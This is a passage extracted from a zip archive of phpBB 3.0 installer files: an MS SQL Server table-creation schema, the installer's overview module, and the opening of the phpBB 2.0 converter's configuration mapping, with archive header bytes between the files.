[phpbb_privmsgs_to]([user_id], [folder_id]) ON [PRIMARY] GO /* Table: 'phpbb_profile_fields' */ CREATE TABLE [phpbb_profile_fields] ( [field_id] [int] IDENTITY (1, 1) NOT NULL , [field_name] [varchar] (255) DEFAULT ('') NOT NULL , [field_type] [int] DEFAULT (0) NOT NULL , [field_ident] [varchar] (20) DEFAULT ('') NOT NULL , [field_length] [varchar] (20) DEFAULT ('') NOT NULL , [field_minlen] [varchar] (255) DEFAULT ('') NOT NULL , [field_maxlen] [varchar] (255) DEFAULT ('') NOT NULL , [field_novalue] [varchar] (255) DEFAULT ('') NOT NULL , [field_default_value] [varchar] (255) DEFAULT ('') NOT NULL , [field_validation] [varchar] (20) DEFAULT ('') NOT NULL , [field_required] [int] DEFAULT (0) NOT NULL , [field_show_novalue] [int] DEFAULT (0) NOT NULL , [field_show_on_reg] [int] DEFAULT (0) NOT NULL , [field_show_on_vt] [int] DEFAULT (0) NOT NULL , [field_show_profile] [int] DEFAULT (0) NOT NULL , [field_hide] [int] DEFAULT (0) NOT NULL , [field_no_view] [int] DEFAULT (0) NOT NULL , [field_active] [int] DEFAULT (0) NOT NULL , [field_order] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_profile_fields] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_profile_fields] PRIMARY KEY CLUSTERED ( [field_id] ) ON [PRIMARY] GO CREATE INDEX [fld_type] ON [phpbb_profile_fields]([field_type]) ON [PRIMARY] GO CREATE INDEX [fld_ordr] ON [phpbb_profile_fields]([field_order]) ON [PRIMARY] GO /* Table: 'phpbb_profile_fields_data' */ CREATE TABLE [phpbb_profile_fields_data] ( [user_id] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_profile_fields_data] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_profile_fields_data] PRIMARY KEY CLUSTERED ( [user_id] ) ON [PRIMARY] GO /* Table: 'phpbb_profile_fields_lang' */ CREATE TABLE [phpbb_profile_fields_lang] ( [field_id] [int] DEFAULT (0) NOT NULL , [lang_id] [int] DEFAULT (0) NOT NULL , [option_id] [int] DEFAULT (0) NOT NULL , [field_type] [int] DEFAULT (0) NOT NULL , [lang_value] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_profile_fields_lang] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_profile_fields_lang] PRIMARY KEY CLUSTERED ( [field_id], [lang_id], [option_id] ) ON [PRIMARY] GO /* Table: 'phpbb_profile_lang' */ CREATE TABLE [phpbb_profile_lang] ( [field_id] [int] DEFAULT (0) NOT NULL , [lang_id] [int] DEFAULT (0) NOT NULL , [lang_name] [varchar] (255) DEFAULT ('') NOT NULL , [lang_explain] [varchar] (4000) DEFAULT ('') NOT NULL , [lang_default_value] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_profile_lang] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_profile_lang] PRIMARY KEY CLUSTERED ( [field_id], [lang_id] ) ON [PRIMARY] GO /* Table: 'phpbb_ranks' */ CREATE TABLE [phpbb_ranks] ( [rank_id] [int] IDENTITY (1, 1) NOT NULL , [rank_title] [varchar] (255) DEFAULT ('') NOT NULL , [rank_min] [int] DEFAULT (0) NOT NULL , [rank_special] [int] DEFAULT (0) NOT NULL , [rank_image] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_ranks] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_ranks] PRIMARY KEY CLUSTERED ( [rank_id] ) ON [PRIMARY] GO /* Table: 'phpbb_reports' */ CREATE TABLE [phpbb_reports] ( [report_id] [int] IDENTITY (1, 1) NOT NULL , [reason_id] [int] DEFAULT (0) NOT NULL , [post_id] [int] DEFAULT (0) NOT NULL , [pm_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [user_notify] [int] DEFAULT (0) NOT NULL , [report_closed] [int] DEFAULT (0) NOT NULL , [report_time] [int] DEFAULT (0) NOT NULL , [report_text] [text] DEFAULT ('') NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_reports] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_reports] PRIMARY KEY CLUSTERED ( [report_id] ) ON [PRIMARY] GO CREATE INDEX [post_id] ON [phpbb_reports]([post_id]) ON [PRIMARY] GO CREATE INDEX [pm_id] ON [phpbb_reports]([pm_id]) ON [PRIMARY] GO /* Table: 'phpbb_reports_reasons' */ CREATE TABLE [phpbb_reports_reasons] ( [reason_id] [int] IDENTITY (1, 1) NOT NULL , [reason_title] [varchar] (255) DEFAULT ('') NOT NULL , [reason_description] [text] DEFAULT ('') NOT NULL , [reason_order] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_reports_reasons] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_reports_reasons] PRIMARY KEY CLUSTERED ( [reason_id] ) ON [PRIMARY] GO /* Table: 'phpbb_search_results' */ CREATE TABLE [phpbb_search_results] ( [search_key] [varchar] (32) DEFAULT ('') NOT NULL , [search_time] [int] DEFAULT (0) NOT NULL , [search_keywords] [text] DEFAULT ('') NOT NULL , [search_authors] [text] DEFAULT ('') NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_search_results] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_search_results] PRIMARY KEY CLUSTERED ( [search_key] ) ON [PRIMARY] GO /* Table: 'phpbb_search_wordlist' */ CREATE TABLE [phpbb_search_wordlist] ( [word_id] [int] IDENTITY (1, 1) NOT NULL , [word_text] [varchar] (255) DEFAULT ('') NOT NULL , [word_common] [int] DEFAULT (0) NOT NULL , [word_count] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_search_wordlist] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_search_wordlist] PRIMARY KEY CLUSTERED ( [word_id] ) ON [PRIMARY] GO CREATE UNIQUE INDEX [wrd_txt] ON [phpbb_search_wordlist]([word_text]) ON [PRIMARY] GO CREATE INDEX [wrd_cnt] ON [phpbb_search_wordlist]([word_count]) ON [PRIMARY] GO /* Table: 'phpbb_search_wordmatch' */ CREATE TABLE [phpbb_search_wordmatch] ( [post_id] [int] DEFAULT (0) NOT NULL , [word_id] [int] DEFAULT (0) NOT NULL , [title_match] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE UNIQUE INDEX [unq_mtch] ON [phpbb_search_wordmatch]([word_id], [post_id], [title_match]) ON [PRIMARY] GO CREATE INDEX [word_id] ON [phpbb_search_wordmatch]([word_id]) ON [PRIMARY] GO CREATE INDEX [post_id] ON [phpbb_search_wordmatch]([post_id]) ON [PRIMARY] GO /* Table: 'phpbb_sessions' */ CREATE TABLE [phpbb_sessions] ( [session_id] [char] (32) DEFAULT ('') NOT NULL , [session_user_id] [int] DEFAULT (0) NOT NULL , [session_forum_id] [int] DEFAULT (0) NOT NULL , [session_last_visit] [int] DEFAULT (0) NOT NULL , [session_start] [int] DEFAULT (0) NOT NULL , [session_time] [int] DEFAULT (0) NOT NULL , [session_ip] [varchar] (40) DEFAULT ('') NOT NULL , [session_browser] [varchar] (150) DEFAULT ('') NOT NULL , [session_forwarded_for] [varchar] (255) DEFAULT ('') NOT NULL , [session_page] [varchar] (255) DEFAULT ('') NOT NULL , [session_viewonline] [int] DEFAULT (1) NOT NULL , [session_autologin] [int] DEFAULT (0) NOT NULL , [session_admin] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_sessions] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_sessions] PRIMARY KEY CLUSTERED ( [session_id] ) ON [PRIMARY] GO CREATE INDEX [session_time] ON [phpbb_sessions]([session_time]) ON [PRIMARY] GO CREATE INDEX [session_user_id] ON [phpbb_sessions]([session_user_id]) ON [PRIMARY] GO CREATE INDEX [session_fid] ON [phpbb_sessions]([session_forum_id]) ON [PRIMARY] GO /* Table: 'phpbb_sessions_keys' */ CREATE TABLE [phpbb_sessions_keys] ( [key_id] [char] (32) DEFAULT ('') NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [last_ip] [varchar] (40) DEFAULT ('') NOT NULL , [last_login] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_sessions_keys] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_sessions_keys] PRIMARY KEY CLUSTERED ( [key_id], [user_id] ) ON [PRIMARY] GO CREATE INDEX [last_login] ON [phpbb_sessions_keys]([last_login]) ON [PRIMARY] GO /* Table: 'phpbb_sitelist' */ CREATE TABLE [phpbb_sitelist] ( [site_id] [int] IDENTITY (1, 1) NOT NULL , [site_ip] [varchar] (40) DEFAULT ('') NOT NULL , [site_hostname] [varchar] (255) DEFAULT ('') NOT NULL , [ip_exclude] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_sitelist] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_sitelist] PRIMARY KEY CLUSTERED ( [site_id] ) ON [PRIMARY] GO /* Table: 'phpbb_smilies' */ CREATE TABLE [phpbb_smilies] ( [smiley_id] [int] IDENTITY (1, 1) NOT NULL , [code] [varchar] (50) DEFAULT ('') NOT NULL , [emotion] [varchar] (50) DEFAULT ('') NOT NULL , [smiley_url] [varchar] (50) DEFAULT ('') NOT NULL , [smiley_width] [int] DEFAULT (0) NOT NULL , [smiley_height] [int] DEFAULT (0) NOT NULL , [smiley_order] [int] DEFAULT (0) NOT NULL , [display_on_posting] [int] DEFAULT (1) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_smilies] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_smilies] PRIMARY KEY CLUSTERED ( [smiley_id] ) ON [PRIMARY] GO CREATE INDEX [display_on_post] ON [phpbb_smilies]([display_on_posting]) ON [PRIMARY] GO /* Table: 'phpbb_styles' */ CREATE TABLE [phpbb_styles] ( [style_id] [int] IDENTITY (1, 1) NOT NULL , [style_name] [varchar] (255) DEFAULT ('') NOT NULL , [style_copyright] [varchar] (255) DEFAULT ('') NOT NULL , [style_active] [int] DEFAULT (1) NOT NULL , [template_id] [int] DEFAULT (0) NOT NULL , [theme_id] [int] DEFAULT (0) NOT NULL , [imageset_id] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_styles] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_styles] PRIMARY KEY CLUSTERED ( [style_id] ) ON [PRIMARY] GO CREATE UNIQUE INDEX [style_name] ON [phpbb_styles]([style_name]) ON [PRIMARY] GO CREATE INDEX [template_id] ON [phpbb_styles]([template_id]) ON [PRIMARY] GO CREATE INDEX [theme_id] ON [phpbb_styles]([theme_id]) ON [PRIMARY] GO CREATE INDEX [imageset_id] ON [phpbb_styles]([imageset_id]) ON [PRIMARY] GO /* Table: 'phpbb_styles_template' */ CREATE TABLE [phpbb_styles_template] ( [template_id] [int] IDENTITY (1, 1) NOT NULL , [template_name] [varchar] (255) DEFAULT ('') NOT NULL , [template_copyright] [varchar] (255) DEFAULT ('') NOT NULL , [template_path] [varchar] (100) DEFAULT ('') NOT NULL , [bbcode_bitfield] [varchar] (255) DEFAULT ('kNg=') NOT NULL , [template_storedb] [int] DEFAULT (0) NOT NULL , [template_inherits_id] [int] DEFAULT (0) NOT NULL , [template_inherit_path] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_styles_template] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_styles_template] PRIMARY KEY CLUSTERED ( [template_id] ) ON [PRIMARY] GO CREATE UNIQUE INDEX [tmplte_nm] ON [phpbb_styles_template]([template_name]) ON [PRIMARY] GO /* Table: 'phpbb_styles_template_data' */ CREATE TABLE [phpbb_styles_template_data] ( [template_id] [int] DEFAULT (0) NOT NULL , [template_filename] [varchar] (100) DEFAULT ('') NOT NULL , [template_included] [varchar] (8000) DEFAULT ('') NOT NULL , [template_mtime] [int] DEFAULT (0) NOT NULL , [template_data] [text] DEFAULT ('') NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO CREATE INDEX [tid] ON [phpbb_styles_template_data]([template_id]) ON [PRIMARY] GO CREATE INDEX [tfn] ON [phpbb_styles_template_data]([template_filename]) ON [PRIMARY] GO /* Table: 'phpbb_styles_theme' */ CREATE TABLE [phpbb_styles_theme] ( [theme_id] [int] IDENTITY (1, 1) NOT NULL , [theme_name] [varchar] (255) DEFAULT ('') NOT NULL , [theme_copyright] [varchar] (255) DEFAULT ('') NOT NULL , [theme_path] [varchar] (100) DEFAULT ('') NOT NULL , [theme_storedb] [int] DEFAULT (0) NOT NULL , [theme_mtime] [int] DEFAULT (0) NOT NULL , [theme_data] [text] DEFAULT ('') NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_styles_theme] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_styles_theme] PRIMARY KEY CLUSTERED ( [theme_id] ) ON [PRIMARY] GO CREATE UNIQUE INDEX [theme_name] ON [phpbb_styles_theme]([theme_name]) ON [PRIMARY] GO /* Table: 'phpbb_styles_imageset' */ CREATE TABLE [phpbb_styles_imageset] ( [imageset_id] [int] IDENTITY (1, 1) NOT NULL , [imageset_name] [varchar] (255) DEFAULT ('') NOT NULL , [imageset_copyright] [varchar] (255) DEFAULT ('') NOT NULL , [imageset_path] [varchar] (100) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_styles_imageset] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_styles_imageset] PRIMARY KEY CLUSTERED ( [imageset_id] ) ON [PRIMARY] GO CREATE UNIQUE INDEX [imgset_nm] ON [phpbb_styles_imageset]([imageset_name]) ON [PRIMARY] GO /* Table: 'phpbb_styles_imageset_data' */ CREATE TABLE [phpbb_styles_imageset_data] ( [image_id] [int] IDENTITY (1, 1) NOT NULL , [image_name] [varchar] (200) DEFAULT ('') NOT NULL , [image_filename] [varchar] (200) DEFAULT ('') NOT NULL , [image_lang] [varchar] (30) DEFAULT ('') NOT NULL , [image_height] [int] DEFAULT (0) NOT NULL , [image_width] [int] DEFAULT (0) NOT NULL , [imageset_id] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_styles_imageset_data] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_styles_imageset_data] PRIMARY KEY CLUSTERED ( [image_id] ) ON [PRIMARY] GO CREATE INDEX [i_d] ON [phpbb_styles_imageset_data]([imageset_id]) ON [PRIMARY] GO /* Table: 'phpbb_topics' */ CREATE TABLE [phpbb_topics] ( [topic_id] [int] IDENTITY (1, 1) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [icon_id] [int] DEFAULT (0) NOT NULL , [topic_attachment] [int] DEFAULT (0) NOT NULL , [topic_approved] [int] DEFAULT (1) NOT NULL , [topic_reported] [int] DEFAULT (0) NOT NULL , [topic_title] [varchar] (255) DEFAULT ('') NOT NULL , [topic_poster] [int] DEFAULT (0) NOT NULL , [topic_time] [int] DEFAULT (0) NOT NULL , [topic_time_limit] [int] DEFAULT (0) NOT NULL , [topic_views] [int] DEFAULT (0) NOT NULL , [topic_replies] [int] DEFAULT (0) NOT NULL , [topic_replies_real] [int] DEFAULT (0) NOT NULL , [topic_status] [int] DEFAULT (0) NOT NULL , [topic_type] [int] DEFAULT (0) NOT NULL , [topic_first_post_id] [int] DEFAULT (0) NOT NULL , [topic_first_poster_name] [varchar] (255) DEFAULT ('') NOT NULL , [topic_first_poster_colour] [varchar] (6) DEFAULT ('') NOT NULL , [topic_last_post_id] [int] DEFAULT (0) NOT NULL , [topic_last_poster_id] [int] DEFAULT (0) NOT NULL , [topic_last_poster_name] [varchar] (255) DEFAULT ('') NOT NULL , [topic_last_poster_colour] [varchar] (6) DEFAULT ('') NOT NULL , [topic_last_post_subject] [varchar] (255) DEFAULT ('') NOT NULL , [topic_last_post_time] [int] DEFAULT (0) NOT NULL , [topic_last_view_time] [int] DEFAULT (0) NOT NULL , [topic_moved_id] [int] DEFAULT (0) NOT NULL , [topic_bumped] [int] DEFAULT (0) NOT NULL , [topic_bumper] [int] DEFAULT (0) NOT NULL , [poll_title] [varchar] (255) DEFAULT ('') NOT NULL , [poll_start] [int] DEFAULT (0) NOT NULL , [poll_length] [int] DEFAULT (0) NOT NULL , [poll_max_options] [int] DEFAULT (1) NOT NULL , [poll_last_vote] [int] DEFAULT (0) NOT NULL , [poll_vote_change] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_topics] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_topics] PRIMARY KEY CLUSTERED ( [topic_id] ) ON [PRIMARY] GO CREATE INDEX [forum_id] ON [phpbb_topics]([forum_id]) ON [PRIMARY] GO CREATE INDEX [forum_id_type] ON [phpbb_topics]([forum_id], [topic_type]) ON [PRIMARY] GO CREATE INDEX [last_post_time] ON [phpbb_topics]([topic_last_post_time]) ON [PRIMARY] GO CREATE INDEX [topic_approved] ON [phpbb_topics]([topic_approved]) ON [PRIMARY] GO CREATE INDEX [forum_appr_last] ON [phpbb_topics]([forum_id], [topic_approved], [topic_last_post_id]) ON [PRIMARY] GO CREATE INDEX [fid_time_moved] ON [phpbb_topics]([forum_id], [topic_last_post_time], [topic_moved_id]) ON [PRIMARY] GO /* Table: 'phpbb_topics_track' */ CREATE TABLE [phpbb_topics_track] ( [user_id] [int] DEFAULT (0) NOT NULL , [topic_id] [int] DEFAULT (0) NOT NULL , [forum_id] [int] DEFAULT (0) NOT NULL , [mark_time] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_topics_track] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_topics_track] PRIMARY KEY CLUSTERED ( [user_id], [topic_id] ) ON [PRIMARY] GO CREATE INDEX [topic_id] ON [phpbb_topics_track]([topic_id]) ON [PRIMARY] GO CREATE INDEX [forum_id] ON [phpbb_topics_track]([forum_id]) ON [PRIMARY] GO /* Table: 'phpbb_topics_posted' */ CREATE TABLE [phpbb_topics_posted] ( [user_id] [int] DEFAULT (0) NOT NULL , [topic_id] [int] DEFAULT (0) NOT NULL , [topic_posted] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_topics_posted] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_topics_posted] PRIMARY KEY CLUSTERED ( [user_id], [topic_id] ) ON [PRIMARY] GO /* Table: 'phpbb_topics_watch' */ CREATE TABLE [phpbb_topics_watch] ( [topic_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [notify_status] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [topic_id] ON [phpbb_topics_watch]([topic_id]) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_topics_watch]([user_id]) ON [PRIMARY] GO CREATE INDEX [notify_stat] ON [phpbb_topics_watch]([notify_status]) ON [PRIMARY] GO /* Table: 'phpbb_user_group' */ CREATE TABLE [phpbb_user_group] ( [group_id] [int] DEFAULT (0) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [group_leader] [int] DEFAULT (0) NOT NULL , [user_pending] [int] DEFAULT (1) NOT NULL ) ON [PRIMARY] GO CREATE INDEX [group_id] ON [phpbb_user_group]([group_id]) ON [PRIMARY] GO CREATE INDEX [user_id] ON [phpbb_user_group]([user_id]) ON [PRIMARY] GO CREATE INDEX [group_leader] ON [phpbb_user_group]([group_leader]) ON [PRIMARY] GO /* Table: 'phpbb_users' */ CREATE TABLE [phpbb_users] ( [user_id] [int] IDENTITY (1, 1) NOT NULL , [user_type] [int] DEFAULT (0) NOT NULL , [group_id] [int] DEFAULT (3) NOT NULL , [user_permissions] [text] DEFAULT ('') NOT NULL , [user_perm_from] [int] DEFAULT (0) NOT NULL , [user_ip] [varchar] (40) DEFAULT ('') NOT NULL , [user_regdate] [int] DEFAULT (0) NOT NULL , [username] [varchar] (255) DEFAULT ('') NOT NULL , [username_clean] [varchar] (255) DEFAULT ('') NOT NULL , [user_password] [varchar] (40) DEFAULT ('') NOT NULL , [user_passchg] [int] DEFAULT (0) NOT NULL , [user_pass_convert] [int] DEFAULT (0) NOT NULL , [user_email] [varchar] (100) DEFAULT ('') NOT NULL , [user_email_hash] [float] DEFAULT (0) NOT NULL , [user_birthday] [varchar] (10) DEFAULT ('') NOT NULL , [user_lastvisit] [int] DEFAULT (0) NOT NULL , [user_lastmark] [int] DEFAULT (0) NOT NULL , [user_lastpost_time] [int] DEFAULT (0) NOT NULL , [user_lastpage] [varchar] (200) DEFAULT ('') NOT NULL , [user_last_confirm_key] [varchar] (10) DEFAULT ('') NOT NULL , [user_last_search] [int] DEFAULT (0) NOT NULL , [user_warnings] [int] DEFAULT (0) NOT NULL , [user_last_warning] [int] DEFAULT (0) NOT NULL , [user_login_attempts] [int] DEFAULT (0) NOT NULL , [user_inactive_reason] [int] DEFAULT (0) NOT NULL , [user_inactive_time] [int] DEFAULT (0) NOT NULL , [user_posts] [int] DEFAULT (0) NOT NULL , [user_lang] [varchar] (30) DEFAULT ('') NOT NULL , [user_timezone] [float] DEFAULT (0) NOT NULL , [user_dst] [int] DEFAULT (0) NOT NULL , [user_dateformat] [varchar] (30) DEFAULT ('d M Y H:i') NOT NULL , [user_style] [int] DEFAULT (0) NOT NULL , [user_rank] [int] DEFAULT (0) NOT NULL , [user_colour] [varchar] (6) DEFAULT ('') NOT NULL , [user_new_privmsg] [int] DEFAULT (0) NOT NULL , [user_unread_privmsg] [int] DEFAULT (0) NOT NULL , [user_last_privmsg] [int] DEFAULT (0) NOT NULL , [user_message_rules] [int] DEFAULT (0) NOT NULL , [user_full_folder] [int] DEFAULT (-3) NOT NULL , [user_emailtime] [int] DEFAULT (0) NOT NULL , [user_topic_show_days] [int] DEFAULT (0) NOT NULL , [user_topic_sortby_type] [varchar] (1) DEFAULT ('t') NOT NULL , [user_topic_sortby_dir] [varchar] (1) DEFAULT ('d') NOT NULL , [user_post_show_days] [int] DEFAULT (0) NOT NULL , [user_post_sortby_type] [varchar] (1) DEFAULT ('t') NOT NULL , [user_post_sortby_dir] [varchar] (1) DEFAULT ('a') NOT NULL , [user_notify] [int] DEFAULT (0) NOT NULL , [user_notify_pm] [int] DEFAULT (1) NOT NULL , [user_notify_type] [int] DEFAULT (0) NOT NULL , [user_allow_pm] [int] DEFAULT (1) NOT NULL , [user_allow_viewonline] [int] DEFAULT (1) NOT NULL , [user_allow_viewemail] [int] DEFAULT (1) NOT NULL , [user_allow_massemail] [int] DEFAULT (1) NOT NULL , [user_options] [int] DEFAULT (230271) NOT NULL , [user_avatar] [varchar] (255) DEFAULT ('') NOT NULL , [user_avatar_type] [int] DEFAULT (0) NOT NULL , [user_avatar_width] [int] DEFAULT (0) NOT NULL , [user_avatar_height] [int] DEFAULT (0) NOT NULL , [user_sig] [text] DEFAULT ('') NOT NULL , [user_sig_bbcode_uid] [varchar] (8) DEFAULT ('') NOT NULL , [user_sig_bbcode_bitfield] [varchar] (255) DEFAULT ('') NOT NULL , [user_from] [varchar] (100) DEFAULT ('') NOT NULL , [user_icq] [varchar] (15) DEFAULT ('') NOT NULL , [user_aim] [varchar] (255) DEFAULT ('') NOT NULL , [user_yim] [varchar] (255) DEFAULT ('') NOT NULL , [user_msnm] [varchar] (255) DEFAULT ('') NOT NULL , [user_jabber] [varchar] (255) DEFAULT ('') NOT NULL , [user_website] [varchar] (200) DEFAULT ('') NOT NULL , [user_occ] [varchar] (4000) DEFAULT ('') NOT NULL , [user_interests] [varchar] (4000) DEFAULT ('') NOT NULL , [user_actkey] [varchar] (32) DEFAULT ('') NOT NULL , [user_newpasswd] [varchar] (40) DEFAULT ('') NOT NULL , [user_form_salt] [varchar] (32) DEFAULT ('') NOT NULL , [user_new] [int] DEFAULT (1) NOT NULL , [user_reminded] [int] DEFAULT (0) NOT NULL , [user_reminded_time] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] GO ALTER TABLE [phpbb_users] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_users] PRIMARY KEY CLUSTERED ( [user_id] ) ON [PRIMARY] GO CREATE INDEX [user_birthday] ON [phpbb_users]([user_birthday]) ON [PRIMARY] GO CREATE INDEX [user_email_hash] ON [phpbb_users]([user_email_hash]) ON [PRIMARY] GO CREATE INDEX [user_type] ON [phpbb_users]([user_type]) ON [PRIMARY] GO CREATE UNIQUE INDEX [username_clean] ON [phpbb_users]([username_clean]) ON [PRIMARY] GO /* Table: 'phpbb_warnings' */ CREATE TABLE [phpbb_warnings] ( [warning_id] [int] IDENTITY (1, 1) NOT NULL , [user_id] [int] DEFAULT (0) NOT NULL , [post_id] [int] DEFAULT (0) NOT NULL , [log_id] [int] DEFAULT (0) NOT NULL , [warning_time] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_warnings] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_warnings] PRIMARY KEY CLUSTERED ( [warning_id] ) ON [PRIMARY] GO /* Table: 'phpbb_words' */ CREATE TABLE [phpbb_words] ( [word_id] [int] IDENTITY (1, 1) NOT NULL , [word] [varchar] (255) DEFAULT ('') NOT NULL , [replacement] [varchar] (255) DEFAULT ('') NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_words] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_words] PRIMARY KEY CLUSTERED ( [word_id] ) ON [PRIMARY] GO /* Table: 'phpbb_zebra' */ CREATE TABLE [phpbb_zebra] ( [user_id] [int] DEFAULT (0) NOT NULL , [zebra_id] [int] DEFAULT (0) NOT NULL , [friend] [int] DEFAULT (0) NOT NULL , [foe] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_zebra] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_zebra] PRIMARY KEY CLUSTERED ( [user_id], [zebra_id] ) ON [PRIMARY] GO PK‰† [Õžáò©©schemas/index.htmnuW+A„¶ PK‰† [À)‡MÃÃinstall_main.phpnuW+A„¶ 'install', 'module_title' => 'OVERVIEW', 'module_filename' => substr(basename(__FILE__), 0, -strlen($phpEx)-1), 'module_order' => 0, 'module_subs' => array('INTRO', 'LICENSE', 'SUPPORT'), 'module_stages' => '', 'module_reqs' => '' ); } /** * Main Tab - Installation * @package install */ class install_main extends module { function install_main(&$p_master) { $this->p_master = &$p_master; } function main($mode, $sub) { global $lang, $template, $language; switch ($sub) { case 'intro' : $title = $lang['SUB_INTRO']; $body = $lang['OVERVIEW_BODY']; break; case 'license' : $title = $lang['GPL']; $body = implode("
\n", file('../docs/COPYING')); break; case 'support' : $title = $lang['SUB_SUPPORT']; $body = $lang['SUPPORT_BODY']; break; } $this->tpl_name = 'install_main'; $this->page_title = $title; $template->assign_vars(array( 'TITLE' => $title, 'BODY' => $body, 'S_LANG_SELECT' => '', )); } } ?>PK‰† [,¯Ÿú phpinfo.phpnuW+A„¶PK‰† [Ç×â¦ðžðžconvertors/convert_phpbb20.phpnuW+A„¶ 'phpBB 2.0.x', 'version' => '1.0.3', 'phpbb_version' => '3.0.12', 'author' => 'phpBB Group', 'dbms' => $dbms, 'dbhost' => $dbhost, 'dbport' => $dbport, 'dbuser' => $dbuser, 'dbpasswd' => '', 'dbname' => $dbname, 'table_prefix' => 'phpbb_', 'forum_path' => '../forums', 'author_notes' => '', ); /** * $tables is a list of the tables (minus prefix) which we expect to find in the * source forum. It is used to guess the prefix if the specified prefix is incorrect */ $tables = array( 'auth_access', 'banlist', 'categories', 'disallow', 'forum_prune', 'forums', 'groups', 'posts', 'posts_text', 'privmsgs', 'privmsgs_text', 'ranks', 'smilies', 'topics', 'topics_watch', 'user_group', 'users', 'vote_desc', 'vote_results', 'vote_voters', 'words' ); /** * $config_schema details how the board configuration information is stored in the source forum. * * 'table_format' can take the value 'file' to indicate a config file. In this case array_name * is set to indicate the name of the array the config values are stored in * Example of using a file: * $config_schema = array( * 'table_format' => 'file', * 'filename' => 'NAME OF FILE', // If the file is not in the root directory, the path needs to be added with no leading slash * 'array_name' => 'NAME OF ARRAY', // Only used if the configuration file stores the setting in an array. * 'settings' => array( * 'board_email' => 'SUPPORT_EMAIL', // target config name => source target name * ) * ); * 'table_format' can be an array if the values are stored in a table which is an assosciative array * (as per phpBB 2.0.x) * If left empty, values are assumed to be stored in a table where each config setting is * a column (as per phpBB 1.x) * * In either of the latter cases 'table_name' indicates the name of the table in the database * * 'settings' is an array which maps the name of the config directive in the source forum * to the config directive in phpBB3. It can either be a direct mapping or use a function. * Please note that the contents of the old config value are passed to the function, therefore * an in-built function requiring the variable passed by reference is not able to be used. Since * empty() is such a function we created the function is_empty() to be used instead. */ $config_schema = array( 'table_name' => 'config', 'table_format' => array('config_name' => 'config_value'), 'settings' => array( 'allow_bbcode' => 'allow_bbcode', 'allow_smilies' => 'allow_smilies', 'allow_sig' => 'allow_sig', 'allow_namechange' => 'allow_namechange', 'allow_avatar_local' => 'allow_avatar_local', 'allow_avatar_remote' => 'allow_avatar_remote', 'allow_avatar_upload' => 'allow_avatar_upload', 'board_disable' => 'board_disable', 'sitename' => 'phpbb_set_encoding(sitename)', 'site_desc' => 'phpbb_set_encoding(site_desc)', 'session_length' => 'session_length', 